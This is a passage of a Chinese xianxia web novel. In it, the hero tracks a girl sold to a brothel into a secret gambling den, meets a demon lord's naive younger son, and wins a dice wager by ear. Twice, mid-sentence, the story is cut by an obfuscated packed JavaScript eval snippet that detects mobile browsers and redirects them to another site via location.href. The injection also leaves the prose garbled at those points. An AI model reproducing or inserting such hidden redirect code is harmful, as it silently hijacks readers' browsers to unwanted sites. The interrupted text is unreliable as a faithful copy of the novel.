莺儿对周围的那些起哄声置若罔闻,泣不成声拉着公仪岭的袖子,对他连声道歉:“对不起!对不起仙人哥哥!都是因为我……我没告诉你我的身份,害得你声誉受损……” 公仪岭只觉得头痛欲裂,脑子里疯狂地搜寻着这种事情该念什么咒才能定神?只可惜寻了半天也没找到合适的咒语,思绪已经飘到了回云灵山钓鱼的那些快活日子,至少自己的耳根子不要太清净…… 他身子都虚脱了,恍惚中听着茶客们还在叽叽喳喳声讨着自己,汗流浃背,有气无力地给自己辩解道:“真不是我啊……?” 82.一赌长乐坊 莫笑醉春风(三) 老鸨见他这模样,勾唇笑了,上前一步扯开了莺儿拽他袖子的手,狠狠将人拉回了自己身边,对公仪岭娇声道:“毕竟莺娘的卖身契还在醉春风里面,再怎么说,莺娘现在也是我们的人,自然是需要跟我们回去的。当然,公子如果想带莺娘走,醉春风也随时欢迎公子前来,咱们一手交钱,一手交人。” 茶客们附和道:“就是,谁不知道想赎人得拿银子?没钱还想吃白食,天下哪有这么好的事情!” “……” 月娘不依不饶,又扭着腰肢直接朝公仪岭身上贴了上去,勾了勾公仪岭耳边的鬓发,抚了他的面颊,羞怯道:“奴家在醉春风等着公子前来,公子,可别让奴家等久了……” 公仪岭嘴角一抽,抬手把她的爪子拍开了,颇为嫌弃地擦了擦手,冷冷道:“当真是演的一出好戏,还讹上我了。” 月娘笑靥如花:“这不是看公子与我家莺娘情深义重,想必定然是不愿瞧见她流落醉春风的。” 公仪岭寒声道:“滚!” 这时候他说的话,听起来就没那么有威慑力了,在旁的人看来,说是气急败坏也不为过。老鸨微微一笑,牵着莺儿,朝茶楼小厮招呼了一声,直接从怀中取出一小块银子,简直志得意满:“今日台上这出戏演得不错,赏!” 小厮满脸笑意地迎了上去,接过了银子:“好嘞!” 老鸨说罢,手中折扇一合,偏头对月娘唤道:“月娘,还不走?” 月娘忙过来挽了老鸨的手臂,笑道:“这便来了~” 没等台上戏曲演完,两人就如同打了胜仗的将军一样,气宇轩昂地领着莺儿离开了霁月茶楼。 公仪岭手上青筋都起来了,怒气冲冲坐下猛灌了自己两杯茶,烦得不行。旁边还有人调侃着给他出主意:“兄台,你相好都被带走了,你还不赶紧追去给人赎身?” 公仪岭气道:“说了不是我相好了!不知道就闭嘴!一天天尽搁哪儿瞎起哄什么?” 出主意的人被他一吼,讨了个没趣儿,感慨了一句“不听劝”,转头就回去继续看戏了。 喝完两杯茶,公仪岭总算觉得自己的灵台清明了一点。看着台上那出戏唱完了那一句:“那女孩儿那里打熬得过!你可怎生的救她一救?——” 他提着剑站起了身。 毕竟莺儿是跟着自己出来了,就这么让人当着他的面给带走了,自己还被说得毫无办法。公仪岭头一次生出觉得自己有心无力、护不住人的感觉,心中憋屈不已。 茶楼小厮见他起身像是要离开,生怕他赖账,立马迎上去道:“公子,这茶钱……” 公仪岭瞥了眼他,掏出几个铜板按在桌上,疾步离开了茶楼。 只不过,他来到大街上,却不知她们口中的醉春风是开在何处。 公仪岭只得路上随便拽了个路人,急切问道:“这位兄台,不知醉春风开在何处啊?” 路人兄台诧异地看着面前男子,沉默片刻后,还是给他指了路:“在西市大街上,过去应该就能看见了。” 公仪岭连声道:“多谢,多谢多谢。”直接就朝西市奔去了。风声呼啸间,耳边还能清楚地听到身后传来悠然长叹:“哎,青天白日的,这兄台就急不可耐了,真是世风日下。果然,人不可貌相啊……” 听得公仪岭差点脚底一滑,在街上摔个狗啃泥。 好在那位兄台指的路倒是没错,公仪岭很快就在西市大街找到了那座花楼。 与霁月茶楼外观引人注目的特点不同,这里则是完全另一派风格,且不说门口有一堆穿着暴露的女子甩着手绢、巧笑倩兮美目盼兮地揽客,就连二层也全是莺莺燕燕欢声笑语,一人手提着一个花篮,站在栏杆内朝外面洒着花瓣,好一个“天女散花”的场景。 再看门楣上的鎏金匾额,上面写的不是“醉春风”,又是哪个? 公仪岭在门口站定,还没想好如何进去讨要说法,门口迎客的姑娘们就围了过来,一个个朝他那儿挤去,手上手绢轻轻拂过公仪岭的脸,芬芳扑鼻。 “公子,来都来了,进来玩会儿呀?” “来嘛,来嘛~” 公仪岭不动声色地拿开了搭在他肩上的几只手,打算先进去看看楼中布局,方便跑路再说,于是不紧不慢道:“好啊。” 一听他答应下来,两边的姑娘眉开眼笑地将人请进了楼中。 刚入楼中,一股脂粉的香气混合着茶香酒香扑鼻而来,公仪岭下意识就屏住了呼吸,细细打量起里面来。 醉春风里面布置也十分富丽堂皇,入门处安放了一副巨大的雕花屏风,屏风上绘制着精致的狐形纹样,绕过屏风后室内便开阔了起来,地上铺满了动物毛皮制成的地毯,每个妓子都打扮得花枝招展,赤着足走在堂间,每走一步,足腕上的链子就叮铛作响,勾得人心驰神往。 二楼暖阁则是灯笼高挂,更添几分香艳暧昧的氛围。堂上人满为患,有达官贵人,也有文人墨客。伴着乐妓奏出的靡靡之音,众人推杯换盏、觥筹交错,怀中个个都揽了一个曼妙女子,每个人脸上都红光满面,显出兴奋之色。 在楼的正中央是一个巨大的舞台,上面正有一群舞姬随着乐曲翩翩起舞,一颦一笑,勾人心魄。 不过里面如此热闹,公仪岭想要找人就很麻烦了。 在他看来,每个擦肩而过的姑娘们都长得大差不差地,好不容易看见一个长得像莺儿些的,过去一看却不是,很是费神。 堂上也没见到老鸨和月娘的人影,想来莺儿多半是与她们在一处的。公仪岭正想找个人问问老鸨的去向,就听到不远处一张绣花软榻上躺着的一个肥胖男子高举着酒杯,神志不清地嚷嚷道:“柳夫人!柳夫人!再给爷唤几个貌美如花的姑娘来!爷有的是钱!” “爷,可是我伺候得不好吗,怎得还要换旁人来?她们哪里及得上我伺候您……”被他揽着腰的女子嗔怪道。 那胖子嘴角一咧,手上用力就把女子抱过来亲了一口,很是受用:“美人儿,我可说了让你走了?不过是再想唤几个过来陪陪你罢了。 随即扭头对旁边几个姑娘道:“爷叫你们去把柳夫人叫来,你们去就是了!别给爷磨磨唧唧的!” 几个姑娘也知他身份,哪敢惹他,连声称是,马上就去办了。 公仪岭见他脑满肠肥,浑身绫罗绸缎、穿金戴银的样子,便知此人是个有钱的主儿,像这样的人,醉春风必然是得将人伺候地舒舒服服才行。于是他也不急着找老鸨了,双手环胸等着老鸨自己过来给那胖子赔笑脸。 果然,没消片刻,被他呵斥的那几个女子就簇拥着一个女人回来了。只不过公仪岭往那一看,这哪里是老鸨,分明是那位月娘! 月娘满脸堆笑,风情万种地自软榻旁坐下,手中端着酒杯就想喂给胖子酒水,殷切道:“这位爷,我们 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说完以后,莲步轻移,就打算上楼去了。只是月娘刚走到楼梯处,却被一个熟悉的人拦住了去路,待看清楚来人后,勾唇道:“公子还真是没叫奴家失望啊,竟过来得这么快呢?” 公仪岭没跟她废话,毫不客气:“醉春风的老鸨呢?你们把莺儿带到哪里去了?” 月娘贴近他,调笑道:“怎么?公子现在想通了,打算拿钱来赎人了?” 公仪岭抿唇,将她推开与自己保持距离,冷声道:“当然,不过,你们也得让我知道人在哪。” 月娘盈盈立在楼梯上,状似感慨:“想不到,公子也是个痴情人儿啊~” 见公仪岭不语,她俯身,在他耳畔悠悠道:“只可惜,您还是来晚了一步,被人抢了先呢。” 公仪岭神色一凛:“什么意思?” 月娘理了理衣衫,好整以暇地对他弯眉:“在您之前,已有一位公子想要给莺娘赎身。这会儿正与妈妈在长乐坊之中,想必是已经开始了呢。” 公仪岭没听说过长乐坊之名,皱眉道:“长乐坊?” 月娘微微一怔,说话尾声都带了笑意:“原来公子还是第一次来我们醉春风,不知道我们这儿的规矩呀?” “什么规矩?” 月娘柔声与他解释道:“想从醉春风替女子赎身,如果没有钱的话,倒还有另一个办法,那便是在长乐坊与我们家妈妈开一场赌局。若是胜了,便可带走醉春风的姑娘,若是输了……那必然是得断手断脚,才能出得了醉春风的大门了。” 公仪岭闻言了然,思虑片刻后道:“你方才只说有一位公子已经与她开赌了,那赌局都还没个结果,怎能说是我来晚了?不如这样,你且带我去长乐坊,想必你们家妈妈也不会介意多一个人来与她定下赌局。” “这……” 月娘本以为说出断手断脚的事情,多半就能把人吓走了。哪成想这人却没有丝毫畏惧,倒是出乎了她的意料。 公仪岭又道:“何况,你们家妈妈刚才在茶楼也说了,欢迎我前来拿钱赎人,想必是不会拒绝我与她来上一局,你看如何?” 月娘笑道:“你倒是好胆量,不过,我可提醒你,这长乐坊的大门只要进去了,可就没有中途反悔出来的道理了。” 公仪岭面上神色不改:“有何可惧?你不必多说,现在就带我前去吧。” 83.一赌长乐坊 莫笑醉春风(四) 月娘哼笑一声,与他擦肩而过之时,在他耳畔轻吐兰芷:“那,公子就随我来吧。” 公仪岭跟在她后面一路上了楼梯,直到走到了二层暖阁外的长廊尽头,推开了一扇普普通通的房门。他打眼望着里面的芙蓉暖帐,险些怀疑是被月娘骗来房中春风一度了。好在月娘并未看床榻一眼,而是径直走到了桌案旁,双手扭开了一只花瓶,随后,桌案后面的博古架就自两边打开,露出了一个漆黑密道。 公仪岭道:“我还当长乐坊是一个单列出来的建筑,没想到竟是藏在密道之中。” 月娘转身道:“公子,请吧。” 公仪岭二话不说迈步进了密道。他走了一会儿,发现密道只有入口处的一段是漆黑的,等过了一个转角以后,密道两侧才设了灯盏照明,忽明忽暗的烛火为他照着前路,压根看不清何处是密道尽头。 拐过了几个弯,走过了向下的楼梯后,映入眼前的便是一扇极为艳丽、嵌着两个鎏金门环的雕花大门,门上除了“长乐坊”的匾额,两边还落了一副对联,上面题字:“三尺桌面天地小,四方城内玄机深。” 横批:“技惊四座。” 即使隔着一扇门,公仪岭也听出了里面嘈杂无比,人声鼎沸,十分热闹。不由出言问道:“怎得这里面还有这么多人?” 月娘就道:“公子当真说笑,既是赌坊,何来冷清之说?”说着就推开了那扇雕花大门。 公仪岭本以为里面该是一间小小密室,哪知一推开门,里面居然别有洞天。 这长乐坊竟是有着同醉春风几乎一模一样的格局,也分了上下两层。而他往里扫了一眼,这里面何止是热闹一词能够简单形容的,输了钱的鬼哭狼嚎,赢了钱的惊喜欲狂,一张张赌桌前面人头攒动,大堂里简直人山人海,都快挤不进一个人了。 公仪岭看得咂舌,正欲挤到中间去,就听到三米开外的那张赌桌前一声惨叫。他目光一凝,只扫了一眼,就明白了场上局势。那人压上了自己的全部身家赌着单双,等到旁边开赌盅的女子揭开后,顷刻间就输得倾家荡产,哭得那叫一个声嘶力竭、痛彻心扉,看样子,就差没找把刀当场抹脖子了。 他默默想:“赌坊有风险,没事儿别押这么大啊!” 月娘见怪不怪,领着公仪岭继续往前走,还不忘转头对他调笑道:“公子,可别还没开始跟我们妈妈赌,就被吓得连滚带爬逃走了哟~” 公仪岭镇定道:“不会。” 忽而另一处传来一声震喝:“我押大!” 公仪岭望向那桌上正在下注的男子,见他目眦欲裂,双目赤红,额头上的冷汗直流,按在赌盅上的手微微颤抖,咬牙切齿。 而他对面的赌坊女郎却是盈盈一笑:“这位公子,你可已经没有能继续赌下去的筹码了。” “最、最后一把!”那人恨声道,“再来一局,我一定能翻盘,把输掉的都赢回来!” 赌坊女郎笑道:“公子若是想继续赌,那便要按照我们长乐坊的规矩来了,想必你也知道,下一把的赌注是什么。” “我、我知道!尽管开!”那人也顾不了三七二十一,直接豁出去一般怒喝道。 公仪岭闻言肃然:“她说的下一局的赌注是什么?” 月娘悠然道:“还能是什么?当然是他的一只手了。” 赌盅哗啦啦地摇了一阵子,“啪”地一下落定在赌桌上,周围围观的人一个个都瞪大了眼,口里不停地念着:“大!大!大!” “小!小!小!” 公仪岭却是侧耳细细听了一阵,摇头暗叹一声,心道:“是小啊——” 赌场女郎微笑着将面前的赌盅开启,上面的摆放的三颗骰子赫然呈现出来的是“一、二、二”。 “此局,押小为胜!” 结果已出,那人一下子卸了劲,颓然从赌桌上滑了下去。只可惜,他就算是现在想反悔也无济于事,赌场里的人根本不会给他这个机会,马上就有一人拎着一柄砍刀过来,身旁两人闪身一步将输了赌局的那个人按在了赌桌上。 而那个砍刀男喝尽了碗中的酒水后,从口中喷出来洒在了刀尖上,随后,手起刀落,干脆利落地就将人的一条手臂砍了下来! “啊——” 那人叫声凄厉,让人肝胆俱裂,身上的断口鲜血狂飙,沾得周围人身上也全是黏糊糊的鲜血。 公仪岭本以为如此骇人的场景,多少也能唤醒其他人的理智。谁知那些人却视若无睹,甚至对此都没有露出一点惊诧的表情,也没有多看那人的断臂一眼,继续自顾自地玩乐。 他不忍再看,收回了视线,一路跟着月娘走到了赌场正中间的位置。 这中间的位置与旁边大为不同,不仅摆放的那张赌桌都大出了一倍,就连空间也变宽敞了些,周围围着看热闹的赌徒虽多,却都是极有分寸地给里面腾出了三尺距离的空位,像是生怕挤到了里面的人。 公仪岭从外圈挤进了内圈,第一时间就看向了赌桌对面的人。那女子脸上挂着胜券在握的笑容,摇着一把花折扇,一双细长美腿交叠,斜斜坐在椅子上,何等千娇百媚!正是公仪岭在茶楼遇到的那个老鸨无疑。 而站在另一边,也就是自己旁边的,想来便是月娘口中那另一位公子了。这人看起来年岁很轻,面目清俊,不过是一个十五六岁的少年模样,身上穿了一件黑红相间的衣服,脖子上则是挂了一根细细的黑绳,上面坠了一个看起来颇为精巧的黑色石头。 公仪岭“嘶”了一声,觉得这少年看起来十分眼熟,像是在何处见过。 无奈他思忖了半天,脑子里的一点思路也虚无缥缈,抓不住眉目。 公仪岭在心中嘀咕道:“难不成又是仙家哪位小辈被我忘了?但看着这衣服也不像啊?” 这话刚说完,他脑中电光火石,灵光一闪,又抬眼细细看他那身衣服,这样式、这配色,当真越看越眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573669|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟,越看越心惊。 什么啊!这分明就是……玄霄殿人穿的衣服嘛! 公仪岭顿时警惕心起,心道:“没在刑台那儿遇到可疑的人,竟在此地遇到了,难不成玄霄殿的人原来是藏在这边的吗?” 只是这人,既然他都看着眼熟了,想必多半也是个有身份的。公仪岭回忆着玄霄殿里面到底是谁的年岁对得上,很快便想到了一人。 那玄霄殿现在的魔尊名唤尹景轩,而其膝下共有两子,长子是被人尊称为大殿下的那位,已经二十有二,名叫尹鸿晔;次子则是个年方十五,名叫尹鸿宣的少年。 如此一想,公仪岭立刻便认出来了面前的人。 能让他有印象的人不多,尹鸿宣算一个。究其原因,倒并非是尹鸿宣的长相多么出众,而是这人被公仪岭归类到了憨傻的那一类,这才对他的性格印象深刻。 这尹鸿宣小时候还算是个有雄心壮志的人,一心想要超过自己大哥,让大家都认识自己,故而也奋力修行了一段时间,只可惜修行的结果却不如人意。 若是换了旁的一个正常人,定然想着,自己应该更加努力才是,结果这厮脑回路与常人完全不同,竟然直接寻了几个魔族的画师来,将自己的肖像画了个几百份的,然后偷偷派了一群人定时定地在仙门各家分发,有的塞大门门缝里,有的直接贴大门上,搞得不知情的仙僚们还以为是谁的通缉令。 大家一开始不以为意,拿下来丢了就是,本以为过一阵子也就消停了,只可惜一连过了三四个月都没停息。最后大家忍无可忍,一行人前去玄霄殿交涉此事,那尹鸿宣被老子骂了一顿,这才平息了事端。 当然,不可否认的是,他此举虽蠢,倒是真真切切产生了一点用,至少让大家都知道了他这么个人的存在,至于自己的名声是好是坏,尹鸿宣显然是毫不在意了。 那时候云灵山收到的也不在少数,不过大部分都被承悦处理掉了。公仪岭只有在自己出门的那几天,偶然得见了几次。 如今细细回忆起来,那画像上的脸虽然稍显稚嫩,但也能与自己面前的那个少年对应起来了。 警惕归警惕,赌桌上的局势公仪岭也是要关心的。 从两人脸上的神情来看,显然是老鸨占了上风。公仪岭转头随便扯了个旁边的兄台问道:“这赌局都开了多久了?怎么还没结束?” 那兄台十分热情,与他道:“这位兄弟,你前面的都没看着,这已经是他跟柳夫人开的第三局啦!” 公仪岭疑惑道:“不是说只能跟柳夫人开一局吗?怎得都三局了还没结束?” “原是那样的,只不过这位公子同柳夫人约定了,如果能赢到二百两白银,就能赎走楼里那位莺儿姑娘,若是他输了二百两的话,不仅得交钱,还得自断一条胳膊和一条腿!” 公仪岭问道:“那现在,输了多少两了?” 兄台哈哈大笑:“已经输了有一百五十两了!” 84.一赌长乐坊 莫笑醉春风(五) 公仪岭无语了。 这不是等于一直在输压根没赢过吗?也不知道这傻小子在坚持个什么劲儿。 不过,他怎么也没想过,自己如果在宣安城里面断手断脚了的话,自己家那位魔尊老爹会不会给这宣安城直接给掀了啊? 看两人这样子是第三局刚刚赌完,正在中场休息。老鸨一瞥眼见月娘来了,笑意盈盈问她:“月娘啊,你不在醉春风帮我揽客,怎得这会儿过来了?” 月娘拨开人群,走到老鸨旁边,娇声道:“还不是那位青衣公子过来问我讨人了嘛?我可是跟他说清楚了长乐坊的规矩,这公子还是想跟过来下赌局赎人,我这才带了他过来呢。” 老鸨顺着月娘的目光看见了在人群中的公仪岭,柳目含情媚笑一声:“这位公子,还真是没让我失望啊。想不到,我们家莺娘腿瘸了还是魅力不减,竟能让两位公子争相赎人,还真是不枉费我的苦心教导了。” 公仪岭肃然道:“既然要开赌,至少也该将莺儿带出来,让我们看看人是否安然无恙。” 老鸨哼笑,没拒绝他的要求,对月娘说道:“公子若是这么不放心,那月娘你就让人把莺娘给我带过来吧。” “是~” 月娘带着人就去领人了,老鸨则是觉得有点疲惫,敛目摇着扇子在椅子上休息。公仪岭还想着自己就靠着赌桌等她回来再说,谁知身旁尹鸿宣却主动与自己搭了腔。 尹鸿宣小心翼翼凑了过来,对他道:“兄弟,你会玩儿这个吗?” 公仪岭从容道:“不会。” 尹鸿宣听到他这么镇定的两个字瞪圆了眼睛。公仪岭还想着,他会不会觉得自己有勇无谋过来开赌局,谁知尹鸿宣擦着汗说了一句:“好吧,我还以为你很会这个,想着莺儿兴许有救了呢。” 公仪岭奇道:“我听那位月娘说,你不是她情郎吗?看见另一个男的来救她,你不觉得不高兴吗?” 尹鸿宣也奇道:“莺儿哪里来的情郎?我与她是朋友,当然要救她出来了!再说了,多一个人多一分胜算,我看我是输定了,要是你能赢的话就好了,咱们俩谁救不都一样吗?” 公仪岭心说莺儿口中要找的朋友不会就是这位仁兄吧?不过他的身份毕竟有关傀儡之事,公仪岭还是得套套话,于是惊讶道:“哎哟,这不是巧了?我也是她朋友才想救她出来的。我听莺儿说,你也一直在宣安城找她吗?” 尹鸿宣道:“那当然了,宣安城还没出事儿的时候,我就经常来醉春风听她弹曲儿,只可惜中间城里出事,我们俩就失散了,不然的话,我早就带她从醉春风跑了。” 看来,此事尹鸿宣并不知道与玄霄殿有关系了。 想来也是,他这样心智不成熟的孩子,尹景轩和尹鸿晔会告诉他自己在做什么才是奇了。 公仪岭半真半假地遗憾道:“那还真是可惜。” 尹鸿宣一听有人跟他一样要给莺儿赎身,十分欣慰,顿时就有种知己难寻的感觉,用一种壮烈的感觉对他道:“兄弟,没准这就是咱俩最后一次完整的见面了,要好好珍惜。” “完整?” 尹鸿宣认真道:“过了这两场赌局,咱俩没准都得被砍手砍脚了,可不就是最后一次嘛!” 公仪岭无言以对,心道这果然是个傻子。 他试探问了句:“那你被砍手砍脚的话,家里人不会有什么说法吗?” 尹鸿宣附耳小声说:“我瞒着他们出来的,要是被他们知道那还得了?没在这里残疾回去也得被打残了!不过……我估计,就算我被砍了,我爹和我大哥也不会在意的。” 公仪岭默默道:“那我觉得,我爹跟我大哥还是会在意的。” 尹鸿宣惊奇地看着他:“兄弟,没想到你也有爹和大哥啊!咱俩真是有缘,若是有命出去,我都想跟你交个朋友了。” 公仪岭叹了口气,拍了拍他的肩:“当然有命出去了,我可是受莺儿所托来找她朋友的,怎么能让你们俩出事儿呢?” 尹鸿宣闻言,眼前一亮,连忙问道:“难道兄弟你有什么别的办法救她出去?” 公仪岭也小声道:“办法总有,不过也得赌完再说,万一我赢了呢?” 说起这个,尹鸿宣就更担忧了:“哎,兄弟你有所不知,这老鸨混迹赌场这么多年,简直就是神乎其技,摇骰子想来几点就来几点,我担心咱们两个加起来都不是对手啊!” 公仪岭笑道:“俗话说得好,负负得正嘛。说不定我们运气这么背的俩个人加起来,运气就变好了呢?” 尹鸿宣立刻信了:“哎,还真别说,你这话可真有道理!” 两人闷头交流完,那边月娘也带着莺儿回来了。公仪岭见莺儿身上看起来没有其他外伤,这才略略放下心来。不过,她手上还是被麻绳捆住了,还被布条塞住了嘴巴,看得公仪岭眉头微皱。 尹鸿宣则是直接骂出了声:“找死吗?!你们捆她做什么!” 月娘觉得好笑:“不捆她,难道还等着她再跑了吗?等你们赢下来,自己不捆不就好了?” 尹鸿宣涨红了脸,直接又拿起了面前的赌盅,怒道:“再来!” 莺儿一眼就看到了赌桌上的两个人,脸上惊恐不已,无奈嘴被堵住不能出声,只能拼命地对他摇头。 公仪岭问她:“你要找的朋友,可就是这位兄台吗?” 莺儿眼中含泪,点了点头。 公仪岭心中有了数,就听到对面的老鸨低低地轻笑了一声:“再来?公子,这可是最后一把了,你可该做好准备了呢。” “我……我早就做好了!”尹鸿宣底气不足地吼道。 公仪岭见他这样,摇了摇头,心道果真是小孩子脾气,害怕地腿都在抖还在逞强,当即就按住了他拿着骰盅的那只手。 尹鸿宣被他按住,结巴道:“兄兄兄弟……你碰我手干什么?我我我……我可没有断袖之癖!” “……” 公仪岭嘴角抽搐,嫌弃地拍开了他拿赌盅的手:“你有我还没有呢!起开,我来。” 尹鸿宣愣愣道:“你来?” 老鸨也是一怔,旋即笑道:“这位公子莫不是搞错了,你的赌局,可还没开始呢?” 公仪岭从容不迫:“我与这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573670|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄弟一见如故,这最后一局,便由我替他来!” 此话一出,赌桌周围顿时交头接耳起来。 “喂,不是吧?还能这样玩?” “不过……长乐坊好像确实没定这样的规则来着,毕竟谁会放心把身家性命交到别人手上啊!” “虽说是没这么这样的规则,但这种不都是不成文的规矩吗?谁赌到一半还会换人啊!” 老鸨从椅子上站起了身,绕过大半张赌桌来到两人面前,说道:“这位公子,即便是换了人的话,如果你输了,届时也是砍你旁边那位尹公子的手脚,你可有问他,愿不愿意把身家性命交托到你的手上?” 公仪岭“啧”了一声,挠了下头:“不巧,这还真是没问呢……” 说罢,转头去看尹鸿宣,想要问问,却见尹鸿宣正满眼欣赏地望着自己,眼中那崇拜之情都快溢出来了,没等他开口问,立刻抢答道:“愿意!愿意!” 那神情,像是生怕他不帮自己赌了一样。 公仪岭没料到他答应地这么爽快,不禁再次对此人的智商进行了一番怀疑:“兄弟,咱俩第一次见面你就这么信我?要是万一我输了,砍得可是你的手脚啊?” 尹鸿宣果断道:“伸头也是一刀,缩头也是一刀,你可知我赌的时候多么紧张!反正我自己来也是输,换你上的话,我还不用那么紧张了!万一走狗屎运赢了,岂不是皆大欢喜!” 周围人恍然大悟:“这还真是……挺有道理的哈。” “你别说,你还真别说,这小子胆子真够大的。” “这不是废话?胆子不大能来这儿?” 老鸨勾唇道:“你想替他上场的话,也可以。不过,这赌注我得换一换了。” 公仪岭问道:“换成什么?” 老鸨笑道:“既然现在是两个人,若最后一局你们输了,那就将两个人的手脚都给我留在长乐坊吧?” “可以。”公仪岭笑着应了,“但是,若是这一局赢了,那他倒欠长乐坊的一百五十两银子就一笔勾销,我们俩,自然也就不需要被砍手脚了。” 老鸨娇笑出声:“如此看来,你还是来给尹公子救场来的了,想不到还真是个重情重义之人啊?” 尹鸿宣脑子都还没转过弯来呢,听到老鸨如此总结,立刻就眼含热泪了:“兄弟!你可真是我的好兄弟!” 末了还偷偷与他耳语道:“你放心赌,到时候如果被砍了,我想办法让我老爹给我们接上去。” 公仪岭无语了。 原来这小子竟然是这么打算的,怪不得敢壮着胆子干这事儿。 “那就开始吧,是赌大小是吧?” 老鸨娇嗔道:“公子这是哪里的话,你们都改规则了,也总该让我也改一改规则。” 公仪岭皱眉,很快就反应过来,她这是担心万一自己在赌大小上面很有两把刷子,万一大意轻敌的话,就得不偿失了,故而才想改一改对自己有利的规则。 只可惜她今日不管怎么改,都怕是踢到铁板上了。 公仪岭道:“不知你想改什么规则?且说来,我听听。” 85.一赌长乐坊 莫笑醉春风(六) 老鸨柔声道:“简单,这赌桌上共有十枚骰盅,每一个骰盅内有五枚十八面黄铜骰子,开局后我们每个人提前写下对应骰盅里骰子点数,由长乐坊的女郎来开骰盅,谁对的最多,谁便算获胜,如何?” 众人听后倒吸一口凉气:“十八面的?” 公仪岭心中一乐,看样子,这老鸨还是对自己多有忌惮,才会想出这个办法。 于是他也遂了人意,演技信手拈来,马上不着痕迹地露出一副愁容,尺度拿捏地正正好,落在老鸨眼中,就是他也没把握的表情了。 “柳夫人,你这个规则难度颇高啊。”公仪岭显出为难,“既然如此,最后一局如果赢了的话,赌注就增加一项,那就是让我们带走莺儿,怎么样?” “可以。” 老鸨勾唇笑了,手里花折扇一合,袅袅娜娜在赌桌对面站定,对旁边的赌坊女郎扬手道:“这一局,就让旁边看热闹的诸位下注吧。” 赌坊女郎了然,在桌上指了两个区域,高声对众人道:“左边押这位公子赢,右边为押柳夫人赢,买定离手,绝无反悔!” “我我我,我押那公子赢!” “傻了吧你?这可是十八面的骰子!谁不知道柳夫人从无败绩,听我的,押她,稳赚不赔的买卖!” 众人闹哄哄地一通下注,大部分人都押了老鸨赢,只有极少数期待着爆冷门的押了公仪岭赢。 等到大家全都押完,老鸨才对赌坊女郎道:“开始吧。” 赌坊女郎得了令,自桌面拿起了第一个骰盅,双手交替一阵摇晃过后,戛然而止,将骰盅放回了桌面。 那女郎虽然很有手法,但摇得时间却短,赌桌周围的人声又嘈杂,多少容易影响到公仪岭的判断。 公仪岭凝神聚气,闭眼倾听,将周围的多余声音全部屏蔽开来,只剩下五枚骰子在那骰盅里哗啦啦翻滚,摇骰声音尽数落入他耳,再睁开眼之时,已是胸有成竹。 赌坊女郎娇声道:“第一盅已毕,还请两位各自作答。” 公仪岭身侧立刻有一女郎递上了笔墨纸砚,对他道:“公子,请吧。” 他接过了那只毛笔,压根不需要如何思索,速度极快地在上面写了几个数字,随后将纸倒扣在了桌面上,不让围观众人看见。 旁边尹鸿宣见他写得这么快,哆哆嗦嗦问道:“兄弟,不用再多想一会儿吗?” 公仪岭压低声音与他道:“别担心,相信我,大不了咱俩一块截肢。” “……” 他写罢,将自己的纸放到了赌坊女郎端着的盘子上,镇定自若地站在桌旁等着老鸨写完。不过片刻,另一边的老鸨也已经作答完毕,两张纸在盘中背面向上,被赌场女郎放到了桌面正中央,当着众人的面,将两张纸翻开。 围观众人一个个都伸长了脖子,拼命往前挤,想要看清楚纸上面写了什么答案。 赌坊女郎却已朗声将答案宣之于口:“柳夫人的答案为:“十三、五、十一、十二、八。” “这位公子的答案为:“十三、五、十六、十二、八。” 见两个人答案相差仅有一个数字,大家更是对这位公子多了几分佩服之情,毕竟,老鸨的准确率他们可都是一清二楚的。 再说,从前类似的玩法,骰盅里也不过只放了一枚骰子,就这样,他们都玩不过那老鸨了,何况现在是五枚十八面黄铜骰子的情况下? 公仪岭微微一笑,向女郎做了“请”的手势,淡声道:“请开盅吧。” “快快快!快开!” 每个人都屏住了呼吸,大气都不敢喘一下,眼睛死死地盯着赌坊女郎手中的木盅。 尹鸿宣则是压根不敢看,浑身战栗、抖如筛糠,连眼睛都蒙上了,一只手紧紧扯着公仪岭的衣角,似乎借此才能稍微让他安心些,口中不停念叨着:“完了……完了完了……” 赌坊女郎手握骰盅盖子,十分小心地掀起骰盅一角,众人的脖子也跟着她的动作越伸越长。片刻后,她才将上面的盖子完全掀开。 五颗骰子每一个都正面朝上,静静地躺在里面。众人定睛一看,空气中仿若凝固了一秒,大家一片寂静——随后,人群中突然爆发出惊声尖叫:“我去!!!” 那五枚骰子赫然呈现的是“十三、五、十六、十二、八”! “他居然真猜对了!!!” “不是,这也行啊???” 那群人都是混迹赌坊好几年的老赌徒了,自然知道纯靠听声音知道点数这个活儿有多难,便是老鸨本人来玩,也不见得能准确率如此之高,能答出来个十之八九就已经很不错了,就这样都已经能被众人称之为“神乎其技”了。 而公仪岭这一出,倒还真是应了门口横幅的那句“技惊四座了”! 围观的人双眼发红,直接朝着公仪岭围过去了,其中那几个押了公仪岭赢的嘴里还纷纷叫着:“兄弟!有一手啊!” “我就随便一押的,别真押对人了吧?” “拉倒吧,就一次能代表啥!后面谁输谁赢还不一定呢!” 也有几个质疑的:“不会吧?谁这么能这么厉害?” “出千了吧?这也太离谱了!” 有人估计是刚输了几场,又押了老鸨赢,见他赢了十分不爽,恨声骂道:“去你大爷的,算你运气好!” 公仪岭原先还一派从容,颇有几分大师风范,被他们一吵,顿时脑袋嗡嗡,慌里慌张解释:“嗯……这个,运气好哈,真的是运气好!” “没出千啊!这怎么出千?这么多人看着呢!这骰盅也没经过我手啊?!” 